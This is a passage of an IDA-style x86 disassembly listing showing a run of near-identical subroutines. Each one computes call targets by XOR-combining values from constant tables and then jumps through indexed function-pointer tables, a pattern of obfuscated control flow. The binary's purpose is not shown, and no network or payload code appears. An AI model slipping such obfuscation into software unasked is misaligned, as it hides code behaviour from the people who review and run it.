idiv ecx
mov [ebp+var_38], edx
loc_4ADAC4: ; CODE XREF: sub_4ADA33+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ADA33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ADB30 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAE0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 97h
mov [ebp+var_2C], 0F7h
mov [ebp+var_28], 6Ch
mov [ebp+var_24], 0A9h
mov [ebp+var_20], 0Bh
mov [ebp+var_1C], 4Ch
mov [ebp+var_18], 2Ch
mov [ebp+var_14], 0D4h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ADBC1
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ADBC1: ; CODE XREF: sub_4ADB30+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ADB30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ADC2D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAE4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 54h
mov [ebp+var_2C], 23h
mov [ebp+var_28], 4Fh
mov [ebp+var_24], 3
mov [ebp+var_20], 7
mov [ebp+var_1C], 65h
mov [ebp+var_18], 36h
mov [ebp+var_14], 6Ch
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ADCBE
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ADCBE: ; CODE XREF: sub_4ADC2D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ADC2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ADD2A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAE8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 51h
mov [ebp+var_2C], 5Bh
mov [ebp+var_28], 3Dh
mov [ebp+var_24], 54h
mov [ebp+var_20], 3Eh
mov [ebp+var_1C], 6Ch
mov [ebp+var_18], 3Fh
mov [ebp+var_14], 38h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ADDBB
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ADDBB: ; CODE XREF: sub_4ADD2A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ADD2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ADE27 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAECo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0BFh
mov [ebp+var_2C], 3Eh
mov [ebp+var_28], 0D4h
mov [ebp+var_24], 0Ah
mov [ebp+var_20], 0C0h
mov [ebp+var_1C], 5Dh
mov [ebp+var_18], 0A0h
mov [ebp+var_14], 11h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ADEB8
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ADEB8: ; CODE XREF: sub_4ADE27+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ADE27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ADF24 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAF0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 59h
mov [ebp+var_2C], 4Dh
mov [ebp+var_28], 0E9h
mov [ebp+var_24], 0ACh
mov [ebp+var_20], 6
mov [ebp+var_1C], 84h
mov [ebp+var_18], 4
mov [ebp+var_14], 0C2h
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ADFB5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ADFB5: ; CODE XREF: sub_4ADF24+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ADF24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE021 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAF4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A9h
mov [ebp+var_2C], 75h
mov [ebp+var_28], 0C0h
mov [ebp+var_24], 64h
mov [ebp+var_20], 6Bh
mov [ebp+var_1C], 0A6h
mov [ebp+var_18], 16h
mov [ebp+var_14], 0BEh
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE0B2
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE0B2: ; CODE XREF: sub_4AE021+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE021 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE11E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAF8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 76h
mov [ebp+var_2C], 78h
mov [ebp+var_28], 0B6h
mov [ebp+var_24], 92h
mov [ebp+var_20], 67h
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], 23h
mov [ebp+var_14], 93h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE1AF
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE1AF: ; CODE XREF: sub_4AE11E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE11E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE21B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAFCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 32h
mov [ebp+var_2C], 60h
mov [ebp+var_28], 0DDh
mov [ebp+var_24], 51h
mov [ebp+var_20], 0F8h
mov [ebp+var_1C], 93h
mov [ebp+var_18], 49h
mov [ebp+var_14], 0EBh
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE2AC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE2AC: ; CODE XREF: sub_4AE21B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE21B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE318 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB00o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DCh
mov [ebp+var_2C], 55h
mov [ebp+var_28], 8Ah
mov [ebp+var_24], 86h
mov [ebp+var_20], 48h
mov [ebp+var_1C], 65h
mov [ebp+var_18], 0E1h
mov [ebp+var_14], 2Ch
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE3A9
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE3A9: ; CODE XREF: sub_4AE318+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE318 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE415 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB04o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0ACh
mov [ebp+var_2C], 79h
mov [ebp+var_28], 0B5h
mov [ebp+var_24], 0D0h
mov [ebp+var_20], 4Ah
mov [ebp+var_1C], 0C9h
mov [ebp+var_18], 0F2h
mov [ebp+var_14], 5Dh
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE4A5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE4A5: ; CODE XREF: sub_4AE415+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE415 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE511 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB08o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 1Ah
mov [ebp+var_2C], 75h
mov [ebp+var_28], 0BFh
mov [ebp+var_24], 0D6h
mov [ebp+var_20], 64h
mov [ebp+var_1C], 0F5h
mov [ebp+var_18], 0D1h
mov [ebp+var_14], 41h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AE5A2
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AE5A2: ; CODE XREF: sub_4AE511+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AE511 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AE60E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDB0Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 17h
mov [ebp+var_2C], 36h
mov [ebp+var_28], 84h
mov [ebp+var_24], 7
mov [ebp+var_20], 55h
mov [ebp+var_1C], 63h
mov [ebp+var_18], 6
mov [ebp+var_14], 12h
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
